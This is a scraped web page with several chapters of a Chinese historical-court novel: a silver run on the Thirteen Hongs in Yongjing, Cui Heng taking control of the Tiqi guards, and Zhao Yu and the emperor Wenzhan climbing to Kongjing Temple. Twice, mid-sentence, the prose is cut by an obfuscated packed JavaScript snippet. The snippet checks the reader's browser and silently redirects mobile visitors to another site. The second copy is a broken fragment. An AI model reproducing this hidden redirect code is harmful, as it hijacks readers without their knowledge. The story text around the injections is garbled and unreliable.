有些事情,并不一定证据确凿,却让人心底笃定,但这种事过于虚无缥缈,很难对外人说到清楚明白。 赵毓问他,“有几分把握。” 崔珩认真想了想,“西北的事情我不熟悉,不过,这件事,我心中的把握超过三分。” 赵毓,“这次我们被人耍了。” 崔珩摇头,“不一定。景氏这个儿子,即使是假的也有用。杀了他,坐实了景氏谋逆的罪名,并且宣布景氏一族男丁具亡,烧毁景氏的族贴,如此这般之后,景沢也好,景庴那个遗腹子也好,全部都与死人无异了。” 赵毓,“……” 崔珩,“身在王畿,手握权柄,为的就是有这些便宜事情好做。那些景氏子孙行走雍京不过凭借功臣之名,如果将这块招牌打碎,他们就同那些游兵散勇、贩夫走卒什么的没有任何区别了。如此之后,景氏虽然依然狼子野心,却只不过是最多手持两把大刀的莽人。” 赵毓拉了一下崔珩的袖子,“这里闷,外面去。” 诏狱牢房内外两重天。 松树下,青石栏杆旁,崔珩回头看了看,“你怕景氏有被陷害是冤枉的可能?” 赵毓,“是。我们在陷阱中,每一步都有可能是别人的计谋。” 崔珩却说,“诏狱内冤魂重重,当年,我在里面的时候,以为自己无法活着走出来,结果,……,一转眼过去这么多年。这个世上,哪个庙里没有冤死的鬼?我就不说景家人如今玩的这个花样,只说当年。景厝与你有仇,这就足够了。” 赵毓手抓住青石栏杆,指甲都快要扣进去了。 崔珩,“身上长了毒疮,要剜,可是此时大敌当前,难道还有小心翼翼的找个大夫望闻问切,随后再仔细准备好药酒阿芙蓉,慢慢切割?此时刀都被人架在脖子上了,自己还想着这些有的没的,要不要活?只能一刀下去,脸皮带血,甚至可能带着筋骨全部剥离,只要人能活下来,只要还能拿刀,还能对敌,这些都是值得的。” 赵毓知道崔珩说的都是对的,只是,…… 崔珩,“你怕会连累尹徵?” 赵毓愣怔了一下,微微点头。 崔珩,“你有没有想过,尹徵从一开始,就不会活着回来?” 崔珩继续,“无论你做了什么,无论你怎样妥协,尹徵也不会再活着回来?” 崔珩将赵毓的手指从青石上扯了下来,“尹部堂已经做好了白发人送回黑发人的打算,他只是没有告诉你。” “既然如此。”梁十一突然插话,“崔侯爷为何还会同意用我们二十个兄弟的性命去换大长老的命?” 崔珩,“因为尹徵的事情并不仅仅在于他是赵毓的内弟,是重臣之子,甚至可以说,这些缘由都可以忽略不计。 这件事情的关口在于,启动背后阴谋的那些人! 这些人可以公然在我军中抓人;可以在冉庄杀人放火;可以在雍京城困住你我,一个敕封的勋贵,一个缇骑的镇抚使!他们甚至可以公然在诏狱毒杀重要人犯!那么,还有什么是他们不敢做的?他们接下来,又会有什么阴谋? 这些人的爪牙就在雍京! 京师重中之重,天子脚下,首善之地! 梁大人,为了抓住这些人,破碎他们的阴谋,任何代价必须不吝啬付出!” 梁十一,“可是,那些都是活生生,无辜的人,……” 崔珩,“我知道,那些人是与梁大人同吃同睡,一切出生入死的弟兄。但是!因为梁大人您当时的优柔寡断,我们也许错失了最佳的良机。一步错,步步错,才到了今天这么一个泥潭深陷,不知前景的境地。我这里有第二道密旨,梁镇抚使,请您交出缇骑的指挥权,从现在开始,你所做的一切,必须经过我同意。” 崔珩之前的笃定与怡然,就是静静看着梁十一犯错,在他心智动摇之后,收复缇骑。不然,即使他手握皇帝密旨,想要将缇骑这么一把具有自己强烈意志的刀收为己用,也有些异想天开。他不想对阵强敌的时候,还要同时小心自己手下的内耗与暗算。 崔珩回身,直直看着赵毓,“承怡,我领了圣上的密旨,统御缇骑与雪鹰旗负责寻找尹徵,是因为他知道,在这件事情上你的心是乱的。尹徵个人的生死牵扯了你太多的心思,让你看不清楚眼前的路在哪里。” 赵毓知道,崔珩说的所有的话都是对的,即使异常难以接受。 崔珩以笃定的声音说话,“我会尽我所能救回尹徵。只是,千算万算,老天还有一算,万一,……” 赵毓沉默的点了点头,他明白,万一发生了什么,这就是命。 “我知道了。” 萧则远远看着他们三人,此时他才走近,他对赵毓说了雍京银价涨了四成,十三行遭挤兑,却向西北道搬来三十万两白银。 “最近真是,……八字不顺,……” 本来坚定的信奉‘敬鬼神而远之’的赵毓,都有些想要去烧香了。 崔珩看着赵毓离开,一直到他的背影消失在院落中的桂花树影后。 “万一,……,我向你以死谢罪。” 他喃喃的说。 60. 60 60 世间的事情是这样。 如果有一样东西,大家都想要,但是存货不多,那么价高者得,这样就会致使这种东西的价格越来越高。 就比如现在雍京的白银。 现银。 西北道,十三行,它们如同两个深不见底的洞,将雍京的白银像水一样吸进去,全部吸进去。 如此一来,晋中票号,徽州钱庄,还有那些在雍京的东南大商贾,朝鲜的参客,西疆波斯一些往来的客商,以及在京的官员,权贵王公们,一个一个的好像闻到血腥味的狼,都开始大举买入并且贮存白银。 有多少,吃多少。 雍京开始银慌,银价涨了四成。 整个坊间就是一幅人心惶惶的景象。 随后。 那些平时将银钱存在十三行的小户商贾,稍微有些余钱存入十三行的小老百姓们也得了信儿,都知道雍京现在最贵的就是银子,而且是现银!于是,所有人秉承着入袋为安的信条,拿出灾年抢夺活命粮的勇猛,争前恐后的挤到十三行兑现银。 因为乱,所以更慌,也因为他们无法确切的知道发生了什么,恐惧更甚。 赵毓立马于十三行的银庄前面。 薛宣平看到了他,但是他无法过来,赵毓冲着他摆了摆手。 赵毓感觉自己眼前乱象丛生。 这里围着很多人,一眼看不见边际的人群。他们手中拿着十三行的银票、汇票、钞子等等各种票据,踩着身边人的身体向前爬。他们对于那些能进十三行后堂喝茶,并且可以让下人抬着银箱走的大户视若不见,或者是无可奈何,这些人只能对待身边的彼此残忍。踩踏,毫不留情的踩踏,就是为了早一些兑到一两半两的白银。 如今的十三行就像被人用利刃劈开一道血坑的肥羊,伤痕可见骨却无法治疗。周围群狼环伺,身边鬣狗乱咬,只能任凭白银色的血喷薄而出,流淌成河。 如此境地,周熙却先运了三十万两白银给赵毓,想必他已经做好了置自己于死地的决心。 “这个场景不止十三行有。”萧则对赵毓说,“徽商晋商那些钱庄票号门前也差不多是这个样子,他们受了连累。幸好我们西北道只有一些战争债票,在雍京并没有收这些小户的存银,不然,也一样狼狈。赵叔,我听说十三行的银船已经进直隶,也许三天,也许四天就能到雍京,目前并没有听说发生任何意外。这些人只要安静等几天都会兑到现银,其实,很多人没有必要兑现银,他们为什么慌乱成这个样子?” 赵毓,“远水不解近渴。” 萧则,“等三、四天而已,不算远水。” 赵毓,“元熙七年,西回鹘王子易卜拉欣带着十万骑兵东征,和我们西北军在于阗打了一仗,当时你也在。那个时候我们挖断了拉莫孔雀河,他们没有水源,军心开始涣散。随后西回鹘军师命令打井,只是,西回鹘人掘地两丈却连潮湿的黄沙也没看到,那十万人就彻底乱了。最后,我们只用了不到三万人就使他们几乎全军覆没。其实,当时易卜拉欣王子并不知道,有一条天山雪水冲成的暗河就在距离他们军队驻扎不到十里的地方。暗河上有一小片绿洲,如果,他们当时再镇定一些,慢慢找,再加上虔诚诵经,他们那个什么神明庇佑,没准他们能看到水源,也能活命。” “可惜,……”赵毓的声音未见半丝可惜,也没有什么怜悯,他说,“对于当年埋骨于阗的易卜拉欣王子来说,这十里路就是生死界;同样,对于如今这些踩踏与被踩踏的兑银人来说,三、四天也是生死界。” 薛宣平终于挤了过来,他挥舞着胖大的身躯,“老赵,老赵!” “先救十三行!”赵毓,“老薛,你回去把西北道所有的现银装上马车,打开银箱的盖子,带上咱们全部人手,将这些银子明晃晃运进十三行。我们要让所有人都看到,十三行的银子源源不断!” “啥?”薛宣平一脸懵,“老赵,你痴懵了?!咱们后天就有一封两百万两的债票要兑!萧老大,你,还有几位当家的叔伯可是把棺材本都拿了出来,再加上十三行送过来的三十万,将将够用!你这么一胡闹,后天兑不出现银,西北债票的招牌就倒啦。以后要是再筹军饷,我看你还能再要来一两银子不!到时候,你就得上吊!” 赵毓,“咱们还有两天,十三行今天要是倒了,今晚没饭吃的人,必须上吊躲债的人,可不仅仅只是眼前这些。更麻烦的是,秋税该收了。户部只要白银,百姓手中却只有铜钱,要缴税银必须兑白银,现在雍京银价贵成这个鬼样子,老百姓的赋税一夜翻了一番,收起来就是剜肉剔骨,那可真要费些力气了。这世道如果真到了那般田地,偌大的雍京城真要乱了。” 薛宣平一脸的恨铁不成钢,“你都从西北解甲归田了,你又不当官,你当年不是每天酸文假醋的念叨过,不在其位不谋其政吗?皇帝老儿的赋税收不收,京城乱不乱,这些都和你有一个铜子的关系吗?” 赵毓一勒缰绳,“你去不去?” 薛宣平点头如捣蒜,“去!”转回头,继续嘀咕,“反正,到时候咱们西北道招牌倒了,上吊躲债的不是我。大不了,我去要饭!” 薛宣平将所有白银装车。他动用了五万两的银锭,这些明晃晃冷森森的白银全部摆在明面上,就这样招摇过市!他让一队人专门拉着五两大车,套上高头大马,拉着银车在十三行周围转圈。为了防止人哄抢,这队人手中均是强|弓|硬|弩,就这样护卫着银车,在十三行的银庄周围一圈一圈的绕。一队人累了,换人,继续绕圈。 周熙不收这些现银。 他亲自到了西北道在雍京的会馆找赵毓。此时,赵毓正在清点剩下的白银,黄枞菖和赵格非都在他身边。 周熙衣着整齐,头发梳理得体,脸色却憔悴到了极点。 在这一点上,他像崔珩,就算死,也要风光体面。 “赵先生,这些现银,十三行不能要。我十三行百年的基业,周家金漆的招牌,不能因为我们一家的过错就连累西北道。事情由我而起,也要由我而灭。周熙的招牌不能蒙尘。” “你周熙的招牌是招牌,我赵毓的招牌就不是招牌吗?” 周熙看着赵毓,“此话怎讲?” “大家同坐一条船,你落水,让我在旁边看着,如果再要了你那三十万,这就等于再狠狠打你一闷棍,这就是砸我的招牌。当年大家买我的债票,除了信我赵毓肯定能兑现银的能力,其他的,不就是信我这个人吗?相信我不是见利忘义、致朋友生死、大义于不顾的混账。” 此时,赵毓的声音很轻。 “周先生,我今早刚和文,……,我的家人说过,十三行财雄势大,可是,你只能将白银变成权力;可我的这道招牌,却可以把虚无变成财富,从负债中流淌出源源不断的白银。我都说的这样明白了,你还要砸我这个招牌吗?” 闻言,周熙沉默,他坐下,仆从端了三才碗过来,里面是红枣桂圆饱满的三炮台。 周熙问赵毓,“我们十三行的白银需要四天到雍京,到时候可以全部给你,只是你的债票后天就要兑。你让我过了关,你怎么办?” 赵毓没直接回答,却说,“周熙,你不能死,你死了,雍京城就乱了。你是龙头,你执牛耳,你得活着。” 这就像群狼围猎羔羊。 头狼狠狠咬住最大一块羊肉,剩下的群狼可以依次按照地位高低慢慢分享。 如果头狼死了,新的狼王却没有崛起,整个猎场就乱了。 到时候群狼混战,究竟是谁能活到最后,目前只有天知道!只是,过程中的杀戮,尸横遍野的结局,无可避免。 周熙,“可是,……” “至于我,祸害遗千年。”赵毓抬手,教给周熙如何刮三炮台,“尝尝这个,我让他们多放了一倍的糖,甜腻腻的,好喝着呢。” 周熙走后,赵毓另外让人泡了一碗茶,大口喝。黄枞菖看着他,赵毓眼睛瞅着盖碗里面,“你看我做什么?” “白白忙活了一天。”黄枞菖一摆手,“事情不但没有好转,反而更糟糕。祖宗,您这些年的家底要是真完蛋了,……” 赵毓看了他一眼。 黄枞菖,“您重新再挣,我帮您!反正我这辈子生是你的人,……” 他那句“死是你的鬼”还没说完,忽然看了看周围,发现四周一片空寂,不知道怎么了,带着一股子倾家荡产后宁静。 “上次看了个话本,上面一句话不错,——好一似食尽鸟投林,落了片白茫茫大地真干净。” 感慨完毕,他问赵毓,“祖宗,这里的人呢?” 赵毓,“去年我们从西疆运了一批木材回来,全是上百年的栋梁木,两淮的盐商最近迷恋上修房子、盖园子,他们穷奢极欲,给的价钱不错。我让他们把货款兑成现银,装船运回雍京。萧老大带人去接应了。” 黄枞菖惊讶,“走运河吗?怎么没听说?” “还敢走运河?”赵毓冷笑,“我让他们走的外海。从松江起运,走东海,一直到天津港。萧老大他们去天津了。如果没有这些银子保底,你以为他们同意让我把白银都给十三行吗?不过,这个,……,估计也赶不上。我算了算,等他们从天津拉回来,也得三、四天,不过聊胜于无。” 黄枞菖,“外海?祖宗,胆子可真大。那里倭寇猖獗,那么多银子放在船上,要是遇到了他们,您不怕肉包子打狗,竹篮打水?” 赵毓,“我请东海水师提督盛执玉派人护航。那些倭寇都是小贼,没事。” 闻言,黄枞菖一字一字的说,“盛——大——人,真是好——人——啊!” “人是不错。”赵毓放下盖碗,“就是胃口大了一些。不说他了,现在的事情有些麻烦,雍京银价涨的太多,我怕要出事。” 之前赵格非一直认真听,此时忽然开口,“亲爹,我有个想法。” 赵毓,“怎么?” 赵格非,“米价涨了,只要开仓卖粮就可以打下价格;布价涨了,开仓出货就可以平抑涨价。那么,雍京的银价涨了,只要朝廷在坊间放入大量白银,就可以压下银价。” “朝廷放银,压银价?!”赵毓听着,笑了笑,“闺女,你问问你黄瓜叔叔,他就在司礼监,他给你说说这事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728918|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多么荒唐?” “为什么?”赵格非看向黄枞菖。 黄枞菖苦笑,“大小姐,您说的倒是这个理儿,可是放白银这个事情,您觉得谁做合适?” 赵格非,“户部。” 黄枞菖,“我大郑开国一千二百年,户部从来不做这样的事,这是太|祖训。” “其实,不仅仅是太|祖训。”赵毓开口,“而是,列祖列宗训。” “一千二百年前,太|祖皇帝宫涅从战乱中统一华夏,定都雍京,那个时候整个国家经历了八百年的战乱,真是百业凋零,民不聊生。太|祖皇帝放弃儒学治国的国策改从黄老之说,无为而治,与民修养生息。也就是从那个时候开始,大郑实行’轻徭薄赋’的治国策略。” “随后,七百年前,圣王鹤玉雄主暮政,晚年昏聩出了岸世之乱,朝廷为了应对设立几大节度使,却导致了之后将近两百年的藩镇割据。宪宗皇帝南征北战,把大郑从分崩离析中拯救出来,随后,也是为了恢复民生而下了一道圣旨,要求子孙后代君王永世遵循,如有违抗,死后不入宗庙。” “——永不加赋。” “自开国,大郑的户部所做的事情,就是尽可能减赋税,拆了东墙补西墙的赈灾,然后再减赋税。列祖列宗可没让户部囤银。说白了,这也是靠天吃饭,和那些看老天爷脸色吃饭小老百姓没什么区别。” “别说让户部放白银压银价这么奇诡的事情他们做起来有违祖制,说实话,我都不相信现在户部还有多余的存银。” 黄枞菖一直点头,“今年西北大旱,户部卡出赈灾的银子,从江南调粮的款项,还有明年春耕的种子,和修缮水利的银子,真的差不多就一穷二白了。” 赵毓又说,“闺女,这些事情写出东西来那叫一个汗牛塞栋,等哪天我问问楚蔷生,他要是得空,我让他好好给你讲讲这些。行了,天色也不早了,这里没咱们什么事情做,回去吧。” 黄枞菖亲自送赵格非回寿春宫。宫门口,崔太贵妃的亲信韩尚宫一直等候着,直到看到他们回来,这才放下心来。 “黄瓜叔叔。”赵格非恭恭敬敬的施了礼,算是告别,只是她踌躇了一下,还是问,“我能去玉熙宫吗?” “可以的。”黄枞菖也还礼,“只是姑娘去那里做什么?” 赵格非说,“我想找一些当年父亲看过的书。” “玉熙宫没有存书。”黄枞菖有些惊讶,“王爷当年信奉’书非借不能读也’,只借书看,从来不存书。他看书都是随便乱翻,看过就丢。他说,这书,看过,懂了就懂了,不懂就不懂,不用再读第二遍。” “……”赵格非感觉似乎有些意外,可是仔细想想,却似乎又在情理之中,“那当年父亲都到哪里看书?” 黄枞菖,“毓正宫。” 赵格非,“可是,那里是东宫,我不能去的。” 黄枞菖,“也是,……” 赵格非,“还有别处吗?” 黄枞菖,“文渊阁。” 赵格非,“如今,那里是内阁,我也不能去。还有呢?” 黄枞菖,“呃,……,微音殿。” 赵格非,“那里是圣上处理朝政之所在,我更不能去。黄瓜叔叔,您有没有想过,也许,我爹真的看了一些正经书,也未可知。” 黄枞菖,“……” 赵格非,“还有,我爹,有可能是一目十行,并且过目不忘。” 黄枞菖,“……” 也许。 当年的皇长子承怡给人那种骄纵到不可一世,并且不学无术的印象太过于坚固与强大,以至于,他与他如此亲近,都忘记看到他最真实的一面? 黄枞菖顿时有些思绪万千。 随后,他带着他这万千思绪回到皇帝寝殿,看到赵毓爬到金砖地面上,从床榻下面捞东西的时候,还有些虚幻的感觉。 “祖宗,您这是要做什么?” “这个,……”赵毓捞出来一柄半旧的竹笛,“刚才收拾东西,不小心滚到床榻下面去了。” “这不是崔侯的笛子吗?”黄枞菖一眼看过去,就认得这个。 赵毓,“你怎么知道?” 黄枞菖知道晚上赵毓要出门,他赶忙收拾衣物,一边干活,一边说,“崔侯精通音律,当年在毓正宫读书的时候,他将那些诗词吟唱出来,直接用笛子吹出了调子,好听着呢,大家都跟着学了。后来,只要曾经在毓正宫念过书的人,多少都会几首,就是弄得不如崔侯的好听。” “老崔,……哎。” 赵毓坐在软塌上,拿着笛子,低头看着。 “他应该出生在江南大士族,以他的才情考功名绝对没有问题,但是不用出仕。不做官,就不会这么煎熬,也不会遭罪。他那种风流性子,应该是坐拥山水庄园,娇妻美妾环绕。烟雨暗千家,诗酒趁年华。” 他搓了搓笛子,“我娘早说过,老崔生在我们这种家中,就是耽误了他。” 忽然,他感觉黄枞菖很安静。 周围也很安静。 赵毓抬头,看见文湛就站在不远处,静静的看着他。 61. 61 61 “你回来了。”赵毓站起来,“我最近八字不对,没准程朱陆王那些理学家说的对,‘事在人为’之上还有天命。看样子,就算我不打算去找那些和尚化缘,至少也要上山进庙烧香,就是不知道……” 文湛过来,微微侧低头,像海东青擒拿天鹅一般,快、狠、准,直接亲住他嘴唇。 被攻|入。 带着炽热的温度。 赵毓下意识向后躲了一下,他这才感觉到,文湛的手指已经扣住了他的后颈项,让他退无可退。 索性。 赵毓也不躲了。 他伸手拦住文湛的肩膀,就这样面对面亲吻的姿势,被抱了起来。 忽然,赵毓感觉到舌尖被咬了一下,身上有些酥麻,手指一软,右手中的那柄竹笛没有拿住,落在地面铺设的蚕丝与羊毛织就的地毯上,又重新骨碌进了软塌下面,阴影深处,似乎无法再看清楚。 文湛问他,“我们去空镜寺,你想骑马还是坐马车?” 赵毓有些迷糊,“呃,……,有什么区别?” 文湛,“骑马快一些,要是坐马车的话,你可以在车上睡一觉。” 赵毓,“骑马吧。” 文湛,“好。” 夜晚更深露重,文湛吩咐黄枞菖带好赵毓的轻狐裘,径自抱着他向外走。 赵毓看着他,“我们就这样出门?” 文湛,“有什么不好?” 赵毓,“不怕别人看了笑话?” 文湛,“你说他们?” 赵毓看了四下,跪了一地。 每个人的头碰着砖面,脖子伸出,好像许多吊脖子烧鸭,甚至连平时在外官面前不可一世的柳丛容、黄枞菖也是如此,就这样异常卑微的匍匐于地。 赵毓想起来黄枞菖说过一个词,——天子家奴。 真是该死的贴切。 赵毓看着皇帝,“生气了?” 文湛点了点头,“有点。” 赵毓,“是因为我说老崔才情出众,生在我们家中算是耽误吗?” “不。”文湛,“他生在哪里不重要,只是,承怡,……” 人总要有个远近亲疏。——这是昔年文湛对着赵毓说惯了的话,现在却无法出口。 夜空清明,一道星河横贯天际。 星光照在怀中人的脸庞上,带着异常柔和的光晕。 赵毓忽然笑了,“我们这个姿势好像大喜乐双修的造像,呃,还像是我在西疆曾经看过的那个据说灭亡了黄金帝国的十六天魔舞。难道,我今天真的与我佛有缘?和尚厉害,民间有句谚语,和尚打了伞,就是无法无天了。小时候,先帝说过我无法无天,我记得,你也说过我的。” 是的,文湛说过,他自己记得。 …… “承怡,我曾经说过,你可以过得无法无天,不过,还请你记得,我才是你的法,我才是你的天!” …… 他说错了。 其实,承怡才是他的法,承怡才是他的天。 空镜寺。 雍京西端。 山脚下,如今已致夜半。 文湛先下马,随即到赵毓马前,为他扯住缰绳。 赵毓也下来。 周围一片静寂,但是,这并不是空旷辽阔的安静,而是一派重兵把守的沉寂。 文湛拉住了赵毓的走,慢慢向山上走,随口说,“这里驻守着两万羽林卫。父皇说,整个大郑的国土西高东低,雍京也是。只要重兵守住西端,万一雍京城危,也可以向外撤兵。到时候,想要向西北、正北、还有东北这三个方向走,都可以从容。” 赵毓没说话。 文湛,“父皇想的多,也是居安思危。我记得他当年总是感慨,真是到了这个位子,才知宗庙之负重,识王业之艰难。” 赵毓想到上次同吉王爬香山,他也想到了先帝。 当年,先帝不止一次拿着堪舆图教导他: “大郑第一道关是嘉峪关,第二道是娘子关,第三道就是雍京西端。倘若有兵灾,山河玻碎,到了非丢城弃地保存兵力不可的地步,江南可弃,中原可弃,只要重兵守住这三道关口,大郑依然可以东山再起、收复河山。” …… 再向上,就是登天一百零八道台阶,没有任何投机取巧的方法。无论什么人,帝王将相,贩夫走卒,都一样,想要上山,入得山门,都要一步一步的上去。 公道世间唯此处,帝王身上不相饶。 赵毓白天奔波了一天,已经疲累了,他坐在一旁的山石上,捶了捶腿。 再向上看。 真高啊。 空镜寺远在夜空之中,遥不可及。 这里是皇家寺庙,已经存世一千五百年了,甚至比大郑立国还要久远。据说,这里第一代住持曾经辅助太|祖皇帝平定天下,当年太|祖甚至还赐下丹书铁券,裂土封王。可是那位高人却在功成之后出家为僧,深藏功与名。 “我从来没有看见过丹书铁券。”赵毓忽然说,“听说那玩意能赦免死罪,甚至是诛杀九族的大罪都能赦免,是真的吗?对于这件事,我不太了解,因为我能看到的史书上写的特别模糊。” “不是真的。”文湛倒是很诚实,“一部从来没有公诸于世的书记载的很明白,那些被赏赐了丹书铁券的家族,不到六十年,全部被灭族。” 赵毓,“……” 文湛,“分封是祸乱的根源。” 大郑的王公,有高爵厚禄,有真金白银,有身后极致的哀荣,有宗庙万世的供奉,有香火有烧猪肉,有着一切缭乱人心的浮华,却没有实打实分封的土地。 赵毓伸了伸腿,“当时小,不懂这些。那个时候知道自己以后肯定会被封王,无论亲王还是郡王都可以,我就想着要是能有一小块只属于自己的土地就好了,我想要用自己的方式治理它。” 文湛看着他,没说话,却似乎很想听下去。 赵毓,“建一个桃花源。” 文湛,“有我的位置吗?” 赵毓点头,“有的。” 文湛莞尔,“那就好。” 说着,他到赵毓身前。 文湛身边的人早已经将他的心思揣摩透彻,他们知道皇帝想要做什么。那些人过来要代替文湛做这样的事情,却被他挡开了。 文湛微微弯下腰,“来,我背你。” 他的手拉过赵毓的手,“我背你上山。” 一步一步,一步一个台阶。 赵毓附在文湛的耳边,“累吗?” 文湛,“不累。” 是的,不累。 文湛的气息都是稳的。他一出生就是皇子,没有满月就被册封为太子,所以,一直以来,他接受的是皇位继承人最正统最全面的教育。到了可以站立的年纪就开始练武,大一些了,手可以握住长剑便开始练剑。文湛不是武人,却比一般武人的修行更艰辛,因为他是太子,以后是皇帝。无论他身边有多少御林军,禁卫军,影卫,最后一道防线终究是自己。 文湛不是天生神力的人,却可以练就一身本领。 因为他的命太沉重。 承怡一直说他是’国之重宝’,他不仅仅属于他自己,那还属于大郑千年的基业,祖宗传下来的江山社稷。 这些,所有的这一切一直压在他的肩膀上。 虚的,却无比沉重。 这么多年,他不知道自己究竟是累,还是不累。如今只是上山,背后只是承怡,他清楚的知道,自己一点都不累,甚至,甘之如饴。他能感受到承怡的重量,压在肩上,压在后背上,压在,……,心中,实实在在的。 文湛,“你还不肯原谅父皇?” 没头没脑的一句话,赵毓却听懂了,他却没回应。 文湛,“父皇的祭日要到了,你不去永泰陵祭扫,为父皇洒杯酒吗?” 过了很久,他们已经走过了十几级台阶,赵毓才轻声说,“没脸去。” …… 当年,先帝驾崩,赵毓从西北千山万水回雍京奔丧。 那个时候他同文湛的关系已经彻底破裂,他甚至不知道自己进雍京之后是否还有命出来,但是,他还是来了。 虽然不是亲生的骨血,但是,在赵毓心中,先帝就是他的父亲。 那么多年前,……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728919|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 太上皇寝宫这里没有任何女子的味道,这里只有紫檀香的味道,好像早已经不食人间烟火的寺庙。 说什么万载千秋的皇图霸业,说什么六宫粉黛,转眼成空! 黄枞菖说太上皇已经睡了一天一夜,没有醒过来,其实,不知道他是睡着了,还是昏迷着。 赵毓慢慢走到床前,他静悄悄的跪在床边,太上皇已经瘦的只剩下一把骨头。 他伸手,轻轻握住他的手。 病人的手指有些温度,慢慢弹了一下,随后,太上皇极缓慢微弱的睁开了眼睛,“……儿子,……” “爹。” “……,儿子,……” “是,是我。我是承怡。” 七年了。 从他在大正宫正殿上,被褫夺封号,废为庶人之日起,无论其他人怎么说,赵毓再也没有承认自己是承怡。 但是,今天,现在,他自己承认了这个名字。 儿时的名字,必定会跟随着他的一生,无论经历的怎样的沧海桑田,如何的日月星移。 “爹,我回来了。” 太上皇知道自己大限将至,他抬手,轻拍了拍承怡近在眼前的脸颊。 瘦了。 怎么能瘦成这个样子? 承怡眼角的痣也变了。 原先那里是黑色的,现在成为鲜艳的红色,有一种妖异的美,似乎,热血在逐渐冷却凝结,一丝一丝从皮肤中渗透出来。 太上皇想要说什么,无奈他太虚弱。他咳嗽着,闭上眼睛,感觉到承怡把他的手慢慢放进被子当中,那边已经吩咐着让太医过来,但是他知道,太医过来又有什么用呢?他已经快要到极限了。他想要大叫,但是声音却似乎被压住了。 太上皇感觉自己看见了一个人,他叫那个人的名字,那人回头,看不清楚脸,太模糊,只能看到他的嘴边,那一丝诡谲却甜美的笑。 一个时辰之后。 有人捧着一根香,点燃了凑到太上皇的鼻孔下方。——那道纤细的烟依旧笔直,安静的,像一根飘渺的线,向天空飘着。 也许,这道纤细的烟火终究能飘到上苍,问一问幽冥异途: 那些灭不掉的恩怨,静不下来的心,降不住的心魔,是否终究有烟消云散的一天? 国丧。 金丝楠木棺椁的板,缂丝陀罗经被,还有大殓的三十六重金线黑色龙袍。 大丧期间,宫墙内就是哭。 不用讲究什么的哭的好看不好看,叫的好听不好听,只要嚎出来就行,震的树枝上再没有一只飞鸟落足。三十个的昼夜,大正宫点燃了蜡烛,灯火通明,一切带颜色的地方蒙上了白布。 …… 赵毓,“当时,守了墓,我想着就算全了父子情,君臣义。那个时候以为自己这辈子再也不回雍京了,没想到和你还有今天。先帝,……,这个时候就是称呼父皇也好,他老人家不想我和你在一起,既然我碰了你,就不过去了,省的他老人家看见我心烦。他一辈子挺苦的,我就别给他老人家添堵了。” 这些话,他就贴着文湛的耳朵说,温温凉凉,带着他的气息。 文湛,“我去过,父皇似乎没有托梦骂过我。” 赵毓,“你不一样。” 文湛,“……” 赵毓,“你是紫微帝星,他不会骂你。” 文湛却被他的说辞弄的有些哭笑不得,“你怎么知道我是紫微星,你用火烧过龟甲,占卜过?” 赵毓,“民间都这么传,也都这么说,既然老百姓都信,那我也信。” 文湛,“这些传闻也是有趣,他们眼中的这个皇帝,我都不认识了。” 赵毓忽然笑了,声音也是温温的,像烈酒中的清水一般。 空镜寺是皇家寺庙。 他们登上顶峰,山门早已经大开。 住持身披破棉袈|裟站在山门迎接。 随后,这些人都被请去吃茶。 赵毓第一次看到隐藏在青史之后的真实。 丹书铁券。 生铁铸造的帖子,用丹砂印着红字:——使黄河如带,泰山如粝,郑有宗庙,尔无绝世。 62. 62 62 “郑有宗庙,尔无绝世?” 赵毓摇头,“大郑宗庙万载千秋,可惜,当初拿到‘尔无绝世’这封承诺的家族千年之前就成为灰土,如今只有这么一块名不副实的铁板放在寺庙中,让一些没有家室的绝世之人守着。” “诡异,诡异。” 空镜寺有万亩良田,就在后山。 此时是深夜,站在山门中,极目远望,也未见边际。 赵毓低声问文湛,“和尚难道不都是托钵乞食吗?” “不一样的。”文湛回答,“这需要看寺院的戒律,有些修行必须托钵乞食,有些修行需要身体力行,衣食自足。空镜寺是后者。寺庙有田地,僧人需要潜心修行,轻易不会出山门。” 住持安静的引着皇帝与赵毓他们进禅房,暗影卫其中四人跟随。 其实,不怪赵毓对于这些事情无知。 他在毓正宫读书的时候,皇子的正统教育是‘外儒内法’,即使他的天性再乖张任性,不服管教,不爱读书,也不会有侍读学士有胆子把他往别处引导。 等到他长大之后也对佛老之说有兴趣了,那个时候,先帝对于佛经上恢弘华美的说辞感觉到空洞,对于修来世表示厌烦,转而去修仙打醮,于是大正宫开始弥漫出一片香烟缭绕,紫檀馥郁的氛围。 彼时,天命,鬼神,风水,聚气,占卜,问卦,外加炼丹修炼长生不老,重新布满了宫廷,再加上这些东西与程朱陆王的学说如此相近,那些读书人、士大夫、理学大家们也开始在‘格物致知’之外,开始相面算命,预知天命,回老家按照风水之说修房子,移祖坟去了。 赵毓对于老庄鬼神知道的比佛陀要多的多。 等他到了西疆,那里长年战乱,部族繁杂,人们忙着休养生息,生儿育女,攻城略地,放牧牛羊马匹,根本没空读什么‘内圣外王’的圣贤书。 西疆部族们信奉的神明从长生天到几万年人迹罕至的圣山大树;从极西之地传来的十字教上的圣人到沙漠上成精的马匹骆驼;从传说中可以生育百子千孙的祖宗到雕刻在崇山巨石上残破的佛陀;甚至还有一个部族对于一切风雨雷电都顶礼膜拜! 